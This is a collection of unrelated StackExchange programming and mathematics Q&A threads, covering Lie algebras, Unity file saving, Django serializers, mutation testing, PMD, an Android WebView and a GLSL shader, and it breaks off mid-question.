Getting rid of the abelian case just makes all the theorem statements nicer. $\mathbb{R}$ does not behave in any way like the other simple Lie algebras (let me work over $\mathbb{R}$ here): its finite-dimensional representation theory is not semisimple, its Killing form is not nondegenerate, it is not classified by a Dynkin diagram, etc. Just keep learning the theory and you'll see what happens.
A:
I think it's mainly historical and practical. There is no deep reason why one agrees that groups of prime order are simple groups and 1-dimensional Lie algebras (resp. algebraic groups, Lie groups) are not simple Lie algebras (resp. algebraic groups, Lie groups).
One difference between the two contexts is that a finite-dimensional Lie algebra (at least in char 0) has a solvable radical and the quotient is a direct product of (non-abelian) simple Lie algebras. This "separates" the abelian part (the solvable radical, which is an iterated extension of abelian guys) and the semisimple part, which is made of non-abelian simple factors. In finite group theory there is no such separation. The simplest counterexample to such a result is the symmetric group on $\ge 2$ letters, which has no nontrivial solvable normal subgroup but has an abelian Jordan-Hölder factor. In this case there is a separation the other way round, but in general is just more tangled (complicated examples can be cooked up using wreath products).
In any case, there are many results for which one has to specify "non-abelian" simple groups. In Lie algebras, I guess that if by the sake of coherence, abelian ones were allowed as simple, one would often have to specify "non-abelian simple", more often than one has to write "simple or 1-dimensional abelian".
|
{
"pile_set_name": "StackExchange"
}
|
Q:
EFM8 Sleepy Bee USB connection
I have a EFM8 Sleepy Bee chip (EFM8SB20F32G-B-QFP32 specifically). I would like to connect USB for programing etc. and I assume I connect the Data+ to pin 7(P2.7 / C2D) and Data- to pin 6(RSTb / C2CK).
Is this correct? If not any information is greatly appreciated.
A:
I would like to connect USB for programing etc. and I assume I connect the Data+ to pin 7(P2.7 / C2D) and Data- to pin 6(RSTb / C2CK). Is this correct?
No. That MCU doesn't support a USB connection, so that won't work.
Since you mention programming, the manufacturer shows the programming options here. That MCU uses the Silicon Labs C2 debug & programming interface - ignore mentions of JTAG or SWD on that page, as they apply to other MCUs from that manufacturer.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
FTP download fails on remote virtual server but works perfectly on local setup
I have developed a recursive FTP-download script, in PHP5, that allows you to select some files and/or directories to download using an AJAX request. The POST-variable that the server receives is just a short pipe-separated string that does not take up any memory at all.
The script itself works perfectly on my local Apache setup and goes into each directory and downloads every single file and folder.
On my remote virtual server which is set up under Media Temple the script fails on large structures, that is handled great by my local Apache.
The symptoms is that some directories are considered to be files and therefore the script won't step into them and download further.
The script checks whether or not a path is a directory by trying to open it remotely. If it can open the directory it recursively downloads everything in it until it finishes.
The php.ini that is hosted on Media Temple has a much higher threshold than the one on my local setup (longer max execution time, higher memory limit etc.) so that's not the issue... I have even tried using my local php.ini on the remote server.
Tailing the error log used to get my "Premature end of script headers, PHP" until I switched to a dedicated virtual server from regular hosting. Now it doesn't react at all.
What I've tried to solve the issue is experimenting with different values in php.ini and most recently I did a flush() and ob_flush() for every new file and directory that was created... in an attempt to stop any occurance of "Premature end of script headers, PHP".
Do you have any ideas?
A:
Well basicly i don't know how your code is looking like, but that part here (from the php.net maillinglist) is working fine on my server.
Maybee you can give us an example of your code?
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Uncaught RangeError: Invalid language tag on Chrome
I have an MVC jquery mobile application, and on one of the pages I have a datetime picker that when I use with jqyery.validate gives this error on chrome, even though I don't have any validation on the picker. I actually want to validate another control. I will paste the code:
The main view:
@model MvcAppMobileJQuery.ViewModels.OrderVM
@{
ViewBag.Title = "";
Layout = "~/Views/Shared/Layouts/_BaseLayout.cshtml";
}
@section Content
{
<div id="contentDiv">
<div style="margin-top: -31px;">
@using (Html.BeginForm("SaveOrder", "Orders"))
{
<table class="tableFormLayout" cellpadding="0" cellspacing="0">
<tr>
<td>
@Html.LabelFor(m => m.OrderDate, new { @class = "ui-input-text" })
@Html.TextBox("OrderDate", @Model.OrderDate.ToString("dd MMMM yyyy"), new { data_mini = "true", id = "orderDate" })
</td>
</tr>
<tr>
<td>
<input type="button" id="openOrderItemAddPopup" value="Add" />
</td>
</tr>
</table>
@Html.Partial("~/Views/Orders/OrderItemAddPopup.cshtml", Model)
}
</div>
</div>
}
@section Style
{
@Styles.Render("~/Content/mobileScrollControlCss")
}
@section Scripts
{
@Scripts.Render("~/bundles/jquerymobileScrollControl")
<script src="@Url.Content("~/Scripts/jquery.unobtrusive-ajax.min.js")" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function () {
// create a datepicker with default settings
$("#orderDate").scroller({
preset: 'date',
theme: 'jqm',
display: 'modal',
mode: 'mixed',
//animate: 'pop',
dateOrder: 'dd mm yy',
dateFormat: 'd MMMM yyyy'
});
});
</script>
}
And this is the popup that opens from the main view, and that contains the validation:
@model MvcAppMobileJQuery.ViewModels.OrderVM
<script src="@Url.Content("~/Scripts/jquery.validate.js")" type="text/javascript"></script>
<script src="@Url.Content("~/Scripts/jquery.validate.unobtrusive.js")" type="text/javascript"></script>
<div data-role="none" id="OrderItemAddPopup" data-overlay-theme="b" style="width: 500px;"
class="ui-corner-all">
<div data-role="content">
@Html.ValidationSummary()
@using (Html.BeginForm())
{
<table class="tableFormLayout" cellpadding="0" cellspacing="0">
<tr>
<td>
@Html.LabelFor(m => m.Quantity, new {@class = "label"})
</td>
<td>
@Html.TextBoxFor(m => m.Quantity, new {data_mini = "true", type = "number", id = "txtQuantity"})
</td>
</tr>
<tr>
<td colspan="2">
<a noloader="true" href="#" id="closeOrderItemAddPopup" data-role="button" data-inline="true"
data-icon="back">Cancel</a>
<input type="button" id="load" data-inline="true" value="Save" data-url="@Url.Action("LoadItemsPartial", "Orders")" data-icon="forward"/>
</td>
</tr>
</table>
}
</div>
</div>
<script type="text/javascript">
$('#load').click(function () {
$('form').valid();
});
$(function () {
$('#OrderItemAddPopup').modalPopLite({ openButton: '#openOrderItemAddPopup', closeButton: '#closeOrderItemAddPopup', isModal: true });
//LoadOrderItems();
});
</script>
So when I click on the date picker I get the message from the title on chrome. Also if I don't click it, and open the popup, then try to save the popup data. If I take out the validations from the picker, it works fine.
A:
I have managed to solve it, thanks to fretje's answer in this post.
I also had to change this line:
@Html.TextBox("OrderDate", @Model.OrderDate.ToString("dd MMMM yyyy"), new { data_mini = "true", id = "orderDate" })
to
@Html.TextBox("OrderDate", @Model.OrderDate.ToString("dd-MM-yyyy"), new { data_mini = "true", id = "orderDate" })
and the scripts section looks now like this:
@section Scripts
{
@Scripts.Render("~/bundles/jquerymobileScrollControl")
<script src="@Url.Content("~/Scripts/jquery.unobtrusive-ajax.min.js")" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function () {
// create a datepicker with default settings
$("#orderDate").scroller({
preset: 'date',
theme: 'jqm',
display: 'modal',
mode: 'mixed',
//animate: 'pop',
dateOrder: 'dd mm yy',
dateFormat: 'dd-mm-yy'
});
});
$(function () {
// Replace the builtin US date validation with UK date validation
$.validator.addMethod(
"date",
function (value, element) {
var bits = value.match(/([0-9]+)/gi), str;
if (!bits)
return this.optional(element) || false;
str = bits[1] + '/' + bits[0] + '/' + bits[2];
return this.optional(element) || !/Invalid|NaN/.test(new Date(str));
},
""
);
});
</script>
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How to create serializers for multiple class in Django rest framework?
This is my views
class FindKeyWordNews(ListAPIView):
queryset = []
serializer_class = KeyWordSerializers
def get_queryset(self):
query_list = []
keyword = self.kwargs.get("keyword")
if keyword:
republic = Republic.objects.filter(Q(headline__icontains=keyword)).order_by('-id')
ndtv = Ndtv.objects.filter(Q(headline__icontains=keyword)).order_by('-id')
indiatoday = Indiatv.objects.filter(Q(headline__icontains=keyword)).order_by('-id')
hindustan = Hindustan.objects.filter(Q(headline__icontains=keyword)).order_by('-id')
thehindu = Thehindu.objects.filter(Q(headline__icontains=keyword)).order_by('-id')
zee = Zeenews.objects.filter(Q(headline__icontains=keyword)).order_by('-id')
query_list = list(chain(republic, ndtv, indiatoday, hindustan, thehindu, zee))
return query_list
I know to create serializer class for a single model
class NdtvSerializers(serializers.ModelSerializer):
class Meta:
model =Ndtv
fields = ('headline', 'link', 'date', 'category', 'sentiment')
How can I create serializer class for multiple models insrtance for my above views? The schema of the model is the same.
A:
After some research I find this documentation rest multiple model and steps to include django rest multiple model is here django rest multiple model in project
After that all I need to to change the following code in my views and use serialize for all models in following manner:
class FindKeyWordNews(ObjectMultipleModelAPIView):
querylist = []
def get_querylist(self, *args, **kwargs):
keyword = self.kwargs.get("keyword")
print(keyword)
if keyword:
queryset = [
{'queryset': Republic.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': RepublicSerializers},
{'queryset': Ndtv.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': NdtvSerializers},
{'queryset': Indiatv.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': IndiatvSerializers},
{'queryset': Hindustan.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': HindustanSerializers},
{'queryset': Thehindu.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': TheHinduSerializers},
{'queryset': Zeenews.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': ZeeNewsSerializers},
{'queryset': News18.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': News18Serializers},
{'queryset': Firstpost.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': FirstpostSerializers},
{'queryset': Indianexpress.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': IndianexpressSerializers},
{'queryset': Oneindia.objects.filter(Q(headline__icontains=keyword)).order_by('-id'),
'serializer_class': OneindiaSerializers},
]
return queryset
I am happy My code is working fine and create the api.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Filter on own date fields no working and/or wrong date format used
When doing a filter on my own date fields I don't get expected records, while I do get the records when filtering by parse default date fields.
Below piece of code should return the last two records from the JSON provided at the end.
Notice that createdAt is the default parse date field, while startDate is my own date field.
So in the filter you can change for the working and failing part of the code.
I think it has something to do with the format of the data provided to the query filter function. I'd done many tests though, and I cannot find the proper format that I should work with
Working:
query.greaterThan("createdAt", date2.format("YYYY-MM-DDTHH:mm:ss.SSSZ"));
Failing:
query.greaterThan("startDate", date2.format("YYYY-MM-DDTHH:mm:ss.SSSZ"));
Code used:
Parse.Cloud.define("dateChecks", function(request, response){
var message;
var date2 = momento('2014-12-20T00:00:00+00:00');
console.log("date2: " + date2.format("YYYY-MM-DDTHH:mm:ss.SSSZ"));
var query = new Parse.Query("myClass");
query.greaterThan("createdAt", date2.format("YYYY-MM-DDTHH:mm:ss.SSSZ"));
query.find({
success: function(resultList) {
for (var i = 0; i < resultList.length; ++i) {
message = "\ncomments: " + resultList[i].get("comments") + " \tstartDate: " + resultList[i].get("startDate") + " \tcreatedAt: " + resultList[i].get("createdAt");
console.log(message);
}
response.success(resultList);
},
error: function() {
//response.error("Failured. Error: " + error.code + " " + error.message);
response.error("Things have gone wrong!!!");
}
});
});
JSON used:
{ "results": [
{
"comments": "1",
"createdAt": "2014-12-18T20:56:40.176Z",
"startDate": {
"__type": "Date",
"iso": "2015-01-05T10:00:00.000Z"
},
"objectId": "juRygHvpw5",
"updatedAt": "2015-01-05T21:11:31.463Z"
},
{
"comments": "7",
"createdAt": "2014-12-20T00:35:03.617Z",
"startDate": {
"__type": "Date",
"iso": "2015-01-15T09:00:00.000Z"
},
"objectId": "vtlGCgZVZD",
"updatedAt": "2015-01-05T20:53:09.327Z"
},
{
"comments": "6",
"createdAt": "2014-12-20T00:32:48.884Z",
"startDate": {
"__type": "Date",
"iso": "2015-01-15T14:00:00.000Z"
},
"objectId": "JARVIQKFxq",
"updatedAt": "2015-01-05T20:53:07.671Z"
}
] }
A:
it results, at least from my testing, that you cannot pass any momentjs instance when filtering on date fields... it will fail as described in my question.
after using a Date datatype things worked properly.
basically changes are:
var filterDate = new Date(date2.format("YYYY-MM-DDTHH:mm:ss.SSSZ"))
var query = new Parse.Query("myClass");
query.greaterThan("startDate", filterDate);
full code that worked for me is:
Parse.Cloud.define("dateChecks", function(request, response){
var message;
var date2 = momento('2015-01-15T00:00:00+00:00');
console.log("date2: " + date2.format("YYYY-MM-DDTHH:mm:ss.SSSZ"));
var filterDate = new Date(date2.format("YYYY-MM-DDTHH:mm:ss.SSSZ"))
console.log("filterDate: " + filterDate);
var query = new Parse.Query("myClass");
query.greaterThan("startDate", filterDate);
query.find({
success: function(resultList) {
for (var i = 0; i < resultList.length; ++i) {
message = "\ncomments: " + resultList[i].get("comments") + " \tstartDate: " + resultList[i].get("inicioCita") + " \tcreatedAt: " + resultList[i].get("createdAt");
console.log(message);
}
response.success(resultList);
},
error: function() {
//response.error("Failured. Error: " + error.code + " " + error.message);
response.error("Things have gone wrong!!!");
}
});
});
Hope it helps anyone out there!!!
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Error writing to IOS file system works on android & editor
Ive got a function that downloads json and the tries to save a copy on the device. It works fine on android and in the editor. Can't put my finger on it. Ipad is running IOS 10 and settings in unity are 9 upwards if that adds anything.
Below is the unity code plus the error on xcode.
MONODEVELOP
using UnityEngine;
using System.Collections;
using System;
using System.IO;
using System.Collections.Generic;
using LitJson;
public class loadJSONHome : MonoBehaviour {
public string url;
public string url2;
private string jsonString;
public static loadJSONHome instance;
public GameObject preloader;
void Awake(){
if(instance==null){
instance = this;
}
}
void Start (){
WWW www2 = new WWW(url);
StartCoroutine(WaitForRequest(www2));
// preloader.SetActive(true);
}
IEnumerator WaitForRequest(WWW www2){
yield return www2;
// check for errors
if (www2.error == null)
{
//SAVE JSON FROM ONLINE LOCALLY
jsonString = www2.text;
writeStringToFile(jsonString, "FoodnDrink_Cats.json");
writeListings();
} else {
Debug.Log("WWW2 Error: "+ www2.error);
}
}
void writeListings(){
WWW www3 = new WWW(url2);
StartCoroutine(WaitForRequest2(www3));
}
IEnumerator WaitForRequest2(WWW www3){
yield return www3;
// check for errors
if (www3.error == null)
{
//SAVE JSON FROM ONLINE LOCALLY
jsonString = www3.text;
writeStringToFile(jsonString, "listings_FoodnDrink.json");
} else {
Debug.Log("WWW3 Error: "+ www3.error);
}
//preloader.SetActive(false);
}
public void writeStringToFile( string str, string filename ){
#if !WEB_BUILD
string path = pathForDocumentsFile( filename );
FileStream file = new FileStream (path, FileMode.Create, FileAccess.Write);
StreamWriter sw = new StreamWriter( file );
sw.WriteLine( str );
sw.Close();
file.Close();
#endif
}
public string readStringFromFile( string filename){ //, int lineIndex )
#if !WEB_BUILD
string path = pathForDocumentsFile( filename );
if (File.Exists(path))
{
FileStream file = new FileStream (path, FileMode.Open, FileAccess.Read);
StreamReader sr = new StreamReader( file );
string str = null;
str = sr.ReadToEnd ();
sr.Close();
file.Close();
return str;
}else{
return null;
}
#else
return null;
#endif
}
public string pathForDocumentsFile( string filename ){
if (Application.platform == RuntimePlatform.IPhonePlayer)
{
string path = Application.dataPath.Substring( 0, Application.dataPath.Length - 5 );
path = path.Substring( 0, path.LastIndexOf( '/' ) );
return Path.Combine( Path.Combine( path, "Documents" ), filename );
}else if(Application.platform == RuntimePlatform.Android){
string path = Application.persistentDataPath;
path = path.Substring(0, path.LastIndexOf( '/' ) );
return Path.Combine (path, filename);
}else {
string path = Application.dataPath;
path = path.Substring(0, path.LastIndexOf( '/' ) );
return Path.Combine (path, filename);
}
}
}
XCODE
Location service updates are not enabled. Check LocationService.status before querying last location.
IsolatedStorageException: Could not find a part of the path "/var/containers/Bundle/Application/BC5FA0A8-9767-4689-8707-EBB7FA1886F5/Documents/FoodnDrink_Cats.json".
at System.IO.FileStream..ctor (System.String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, Boolean anonymous, FileOptions options) [0x00000] in :0
at System.IO.FileStream..ctor (System.String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, Boolean isAsync, Boolean anonymous) [0x00000] in :0
at System.IO.FileStream..ctor (System.String path, FileMode mode, FileAccess access) [0x00000] in :0
at loadJSONHome.writeStringToFile (System.String str, System.String filename) [0x00000] in :0
at loadJSONHome+c__Iterator5.MoveNext () [0x00000] in :0
(Filename: currently not available on il2cpp Line: -1)
Help appreciated.
A:
I figured it out with help of a youtube video (posted at the end).
I changed the methods to store in binary data form to get around apple isolation and authorization file issues. This is also a lot cleaner.
Here's the code :
using UnityEngine;
using System.Collections;
using System;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
public class loadJSONHome : MonoBehaviour {
public string url;
public string url2;
private string jsonString;
public static loadJSONHome instance;
public GameObject preloader;
void Awake(){
if(instance==null){
instance = this;
}
}
void Start (){
WWW www2 = new WWW(url);
StartCoroutine(WaitForRequest(www2));
preloader.SetActive(true);
}
IEnumerator WaitForRequest(WWW www2){
yield return www2;
// check for errors
if (www2.error == null)
{
//SAVE JSON FROM ONLINE LOCALLY
jsonString = www2.text;
Save(jsonString, "FoodnDrink_Cats.json");
writeListings();
} else {
Debug.Log("WWW2 Error: "+ www2.error);
}
}
void writeListings(){
WWW www3 = new WWW(url2);
StartCoroutine(WaitForRequest2(www3));
}
IEnumerator WaitForRequest2(WWW www3){
yield return www3;
// check for errors
if (www3.error == null)
{
//SAVE JSON FROM ONLINE LOCALLY
jsonString = www3.text;
Save(jsonString, "listings_FoodnDrink.json");
} else {
Debug.Log("WWW3 Error: "+ www3.error);
}
preloader.SetActive(false);
}
public void Save(string json, string filename){
BinaryFormatter bf = new BinaryFormatter();
FileStream file = File.Open(Application.persistentDataPath + "/" +filename, FileMode.Create);
myFile current = new myFile();
current.theFile = json;
bf.Serialize(file, current);
file.Close();
}
public string Load(string filename){
if(File.Exists(Application.persistentDataPath + "/" + filename)){
BinaryFormatter bf = new BinaryFormatter();
FileStream file = File.Open(Application.persistentDataPath + "/" + filename, FileMode.Open);
myFile data = (myFile)bf.Deserialize(file);
file.Close();
string fileinfo = data.theFile;
return fileinfo;
}else{
return null;
}
}
}
[Serializable]
class myFile {
public string theFile;
}
Here's the Youtube Video : https://www.youtube.com/watch?v=yxziv4ISfys
|
{
"pile_set_name": "StackExchange"
}
|
Q:
In VSTS, How to constraint/restrict a team member's working capacity in case working in multiple projects
Assume a team member A works with multiple projects/applications(P1,P2,P3). While doing Capacity planning, i'm able to allocate him with 8hrs per day in each project(P1,P2,P3). Is there any availability to freeze/constraint a team member's capacity to 8hrs in all projects combined(capacity should be restricted to 8hrs in combined). Any provision to create such a rule/restriction on account level?
A:
There isn’t the feature to constraint a team member’s capacity to 8hrs in all projects. You need to do it manually.
There is a similar user voice that you can vote and follow, you also can create a new user voice for this feature.
Ability for TFS sprint capacity and days off for a project to be inherited by teams
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Enlarge points in highcharts
See this fiddle: http://jsfiddle.net/ebuTs/13/
How to make the dots (points) bigger?
A:
You can play around with the marker radius:
var chart = new Highcharts.Chart({
//...
series: [{
data: [29.9, 71.5, 106.4, 129.2, 144.0, 176.0, 135.6, 148.5, 216.4, 194.1, 95.6, 54.4],
marker: {
radius: 5// Play around with this value as needed.
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Off By One errors and Mutation Testing
In the process of writing an "Off By One" mutation tester for my favourite mutation testing framework (NinjaTurtles), I wrote the following code to provide an opportunity to check the correctness of my implementation:
public int SumTo(int max)
{
int sum = 0;
for (var i = 1; i <= max; i++)
{
sum += i;
}
return sum;
}
now this seems simple enough, and it didn't strike me that there would be a problem trying to mutate all the literal integer constants in the IL. After all, there are only 3 (the 0, the 1, and the ++).
WRONG!
It became very obvious on the first run that it was never going to work in this particular instance. Why? Because changing the code to
public int SumTo(int max)
{
int sum = 0;
for (var i = 0; i <= max; i++)
{
sum += i;
}
return sum;
}
only adds 0 (zero) to the sum, and this obviously has no effect. Different story if it was the multiple set, but in this instance it was not.
Now there's a fairly easy algorithm for working out the sum of integers
sum = max * (max + 1) / 2;
which I could have fail the mutations easily, since adding or subtracting 1 from either of the constants there will result in an error. (given that max >= 0)
So, problem solved for this particular case. Although it did not do what I wanted for the test of the mutation, which was to check what would happen when I lost the ++ - effectively an infinite loop. But that's another problem.
So - My Question: Are there any trivial or non-trivial cases where a loop starting from 0 or 1 may result in a "mutation off by one" test failure that cannot be refactored (code under test or test) in a similar way? (examples please)
Note: Mutation tests fail when the test suite passes after a mutation has been applied.
Update: an example of something less trivial, but something that could still have the test refactored so that it failed would be the following
public int SumArray(int[] array)
{
int sum = 0;
for (var i = 0; i < array.Length; i++)
{
sum += array[i];
}
return sum;
}
Mutation testing against this code would fail when changing the var i=0 to var i=1 if the test input you gave it was new[] {0,1,2,3,4,5,6,7,8,9}. However change the test input to new[] {9,8,7,6,5,4,3,2,1,0}, and the mutation testing will fail. So a successful refactor proves the testing.
A:
I think with this particular method, there are two choices. You either admit that it's not suitable for mutation testing because of this mathematical anomaly, or you try to write it in a way that makes it safe for mutation testing, either by refactoring to the form you give, or some other way (possibly recursive?).
Your question really boils down to this: is there a real life situation where we care about whether the element 0 is included in or excluded from the operation of a loop, and for which we cannot write a test around that specific aspect? My instinct is to say no.
Your trivial example may be an example of lack of what I referred to as test-drivenness in my blog, writing about NinjaTurtles. Meaning in the case that you have not refactored this method as far as you should.
A:
One natural case of "mutation test failure" is an algorithm for matrix transposition. To make it more suitable for a single for-loop, add some constraints to this task: let the matrix be non-square and require transposition to be in-place. These constraints make one-dimensional array most suitable place to store the matrix and a for-loop (starting, usually, from index '1') may be used to process it. If you start it from index '0', nothing changes, because top-left element of the matrix always transposes to itself.
For an example of such code, see answer to other question (not in C#, sorry).
Here "mutation off by one" test fails, refactoring the test does not change it. I don't know if the code itself may be refactored to avoid this. In theory it may be possible, but should be too difficult.
The code snippet I referenced earlier is not a perfect example. It still may be refactored if the for loop is substituted by two nested loops (as if for rows and columns) and then these rows and columns are recalculated back to one-dimensional index. Still it gives an idea how to make some algorithm, which cannot be refactored (though not very meaningful).
Iterate through an array of positive integers in the order of increasing indexes, for each index compute its pair as i + i % a[i], and if it's not outside the bounds, swap these elements:
for (var i = 1; i < a.Length; i++)
{
var j = i + i % a[i];
if (j < a.Length)
Swap(a[i], a[j]);
}
Here again a[0] is "unmovable", refactoring the test does not change this, and refactoring the code itself is practically impossible.
One more "meaningful" example. Let's implement an implicit Binary Heap. It is usually placed to some array, starting from index '1' (this simplifies many Binary Heap computations, compared to starting from index '0'). Now implement a copy method for this heap. "Off-by-one" problem in this copy method is undetectable because index zero is unused and C# zero-initializes all arrays. This is similar to OP's array summation, but cannot be refactored.
Strictly speaking, you can refactor the whole class and start everything from '0'. But changing only 'copy' method or the test does not prevent "mutation off by one" test failure. Binary Heap class may be treated just as a motivation to copy an array with unused first element.
int[] dst = new int[src.Length];
for (var i = 1; i < src.Length; i++)
{
dst[i] = src[i];
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Passing variable into block - Rails
Within my rails app, I am using this gem to interact with the Gmail API: https://github.com/gmailgem/gmail
Here is what I have in a method to send an email:
gmail = Gmail.connect(params[:email], params[:password])
@email = params[:email]
email = gmail.compose do
to @email
subject "Having fun in Puerto Rico!"
body "Spent the day on the road..."
end
email.deliver!
I am getting this error:
An SMTP To address is required to send a message. Set the message smtp_envelope_to, to, cc, or bcc address.
The email variable is not able to pass into the block. What is causing this? How can I pass in a dynamic email address?
A:
I'm sure it happens because @email is an instance variable, binded to self (somewhat equal to self.email). And gmail module can easily change self inside block using methods like instance_eval or class_eval, so-called "scope gates". It's regular feature for ruby metaprogramming.
Just use a simple variable, it will be caught by continuation.
email_to = params[:email]
email = gmail.compose do
to email_to
...
end
And I would strongly recommend not to use instance variables as temp - they represent state of object. Use local variables, that's what they are designed for.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Getting type parameter of a weak type in a macro implementation
In a macro impl[A: c.WeakTypeTag], if I find that c.weakTypeOf[A] <:< typeOf[Option[Any]], how do I get the type parameter of the Option? E.g., when A is Option[String], I need to find String.
A:
Same problem as here:
c.asInstanceOf[TypeRefApi].args.head
|
{
"pile_set_name": "StackExchange"
}
|
Q:
An image on my site is showing as the wrong image
I have an image on my site, which is showing up as the wrong image. When I "inspect element" in chrome, and click on the link to the image, it shows up as the right image.
How can this be?
Here's the page: http://goinspire.com/israel-family-tours/
The image is the blue triangle that appears when you scroll down.
The image: http://goinspire.com/wp-content/uploads/arrow2.gif
Thanks!!
A:
You are only seeing the top of the image, because your background image is much larger than the size you have for #smoothup in the css:
in style.css #smoothup {height: 40px; width: 90px;}
The actual image is 122 x 105.
You need either:
1: modify the css defining #smoothup to fit the size of the background image
or
2 modify the background image to fit the size of the container
or
3: use CSS3 background-size to scale the background image (not supported in IE8 and below) and would look wrong because you are not matching the aspect ratio.
If you are deliberately scaling the image down for retina display, you put it in the code as an img element and scale down with css, but maintain the aspect ratio
|
{
"pile_set_name": "StackExchange"
}
|
Q:
Any instance access all instances (of a class)
This may seem like a trivial question, or I may have misunderstood previous information/the research I've done so far.
But is it possible to have a object with a function (in C++) that can access all instances of its own type?
In the context of my usage. I wanted to have a Button class, whereby I could simply instantiate multiple Buttons but call to a function could call reference all buttons.
ButtonInstance.isMouseTargetting(cursorCoordinates);
Is this possible? If so is it efficient?
Or should I have the class which owns the Button instances call each instance to check if the mouse coordinates match up?
A:
I'm under the impression you are looking for advice on how to design this.
In the context of my usage. I wanted to have a Button class, whereby I
could simply instantiate multiple Buttons but call to a function could
call reference all buttons.
You want to do this in a button container. A button is not a button container and in a GUI context you already have an established hirerarchy.
Or should I have the class which owns the Button instances call each
instance to check if the mouse coordinates match up?
Yes. You probably already have a window/container class for this.
|
{
"pile_set_name": "StackExchange"
}
|
Q:
"no preview available" while viewing pdf in google docs in android webview
While opening pdf in webview in android with google doc links :-
webView.loadUrl("http://docs.google.com/gview&embedded=true&url=" + getIntent().getStringExtra(CONSTANT.pdfurl));
for some pdf
"no preview availbale"
happens in webview
, and for some pdf it always happen , i know this question have been asked several times and have seen all the stackoverflow and internet but could not find any satisfactory explanation to it.
How to know when "no preview available" happens while viewing pdf in google docs and how to solve this problem, also
the progress bar stops automatically without showing any content
sometimes
here is my full code of implementation :-
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setBuiltInZoomControls(true);
progressBar.setVisibility(View.VISIBLE);
webView.loadUrl("http://docs.google.com/gview&embedded=true&url=" + getIntent().getStringExtra(CONSTANT.pdfurl));
webView.setWebViewClient(new WebViewClient() {
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
super.onPageStarted(view, url, favicon);
progressBar.setVisibility(View.VISIBLE);
}
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url);
return false;
}
@Override
public void onPageFinished(WebView view, String url) {
// do your stuff here
progressBar.setVisibility(View.GONE);
webView.setVisibility(View.VISIBLE);
}
@Override
public void onReceivedError(WebView view, int errorCode,
String description, String failingUrl) {
view.loadUrl("about:blank");
Toast.makeText(getApplicationContext(), "Error occured, please check newtwork connectivity", Toast.LENGTH_SHORT).show();
super.onReceivedError(view, errorCode, description, failingUrl);
}
});
One thing i know for sure is that in http website it happen more frequently than https website . How to resolve this issue ?
Is there any way to covert url to https from http without changing website ?
A:
check your pdf path may be it will null like (https://docs.google.com/gview?embedded=true&url=null)
Or use intent to open pdf I found it easy
Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(pdf_url));
startActivity(browserIntent);
|
{
"pile_set_name": "StackExchange"
}
|
Q:
How to run PMD in bash
I'm currently trying to run PMD on git bash with the command "run.sh pmd -d -f -R" but I get an error saying 'Could not find or load main class net.sourceforge.pmd.PMD'. I've tried setting the classpath in the environment variable but still get the error. Does anyone know what the problem is ?
A:
This seems to be a bug in the PMD run.sh script. It supports the cygwin environment, but the git bash environment doesn't seem to be a vanilla cygwin environment (although all required cygwin commands are there).
The script builds up the classpath. Since it runs under a cygwin-like environment, the classpath looks like "/c/pmd-bin-5.5.4/lib/pmd-core-5.5.4.jar:...". However, the Java Runtime runs under Windows (and not cygwin), so the path needs to be translated into "C:\pmd-bin-5.5.4\lib\pmd-core-5.5.4.jar;...". Note, that the Windows notation of paths are used (the drive letter and semicolon as path separator).
The script uses the uname command, to determine, whether it runs under a cygwin-like environment. It only checks for "CYGWIN". But git bash uses e.g. "MINGW64_NT-10.0".
There is the new issue #305 now, it should be fixed soon.
You can manually fix the script bin/run.sh, by changing the function is_cygwin to:
is_cygwin() {
case "$(uname)" in
CYGWIN*|MINGW*) # look also for MINGW!!
readonly cygwin=true
;;
esac
# OS specific support. $var _must_ be set to either true or false.
if [ -z ${cygwin} ] ; then
readonly cygwin=false
fi
}
|
{
"pile_set_name": "StackExchange"
}
|
Q:
GLSL. Нормаль нулевой длины во фрагментном шейдере
Пишу на C# с использованием OpenTK v.3.2.0
Шейдеры из уроков https://learnopengl.com
портированные для OpenTK https://github.com/opentk/LearnOpenTK/tree/master/Chapter2/4-LightingMaps
Маленький кубик - положение источника света
Из вершинного во фрагментный шейдер попадает нормаль нулевой длины.
После этой операции:
Normal = aNormal * mat3(transpose(inverse(model)));
Почему так происходит?
Вершинный шейдер:
#version 330 core
in vec3 aPosition;
in vec3 aNormal;
in vec2 aTexture;
uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;
out vec3 Normal;
out vec3 Position;
out vec2 Texture;
void main(void)
{
Position = vec3(vec4(aPosition, 1.0) * model);
Normal = aNormal * mat3(transpose(inverse(model)));
Texture = aTexture;
gl_Position = vec4(Position, 1.0) * view * projection;
}
Фрагментный шейдер:
#version 330
struct Material {
sampler2D diffuse;
sampler2D specular;
float shininess;
};
struct Light {
vec3 position;
vec3 ambient;
vec3 diffuse;
vec3 specular;
};
uniform Light light;
uniform Material material;
uniform vec3 viewPosition;
out vec4 outputColor;
in vec3 Normal;
in vec3 Position;
in vec2 Texture;
uniform sampler2D texture0;
void main()
{
// ambient
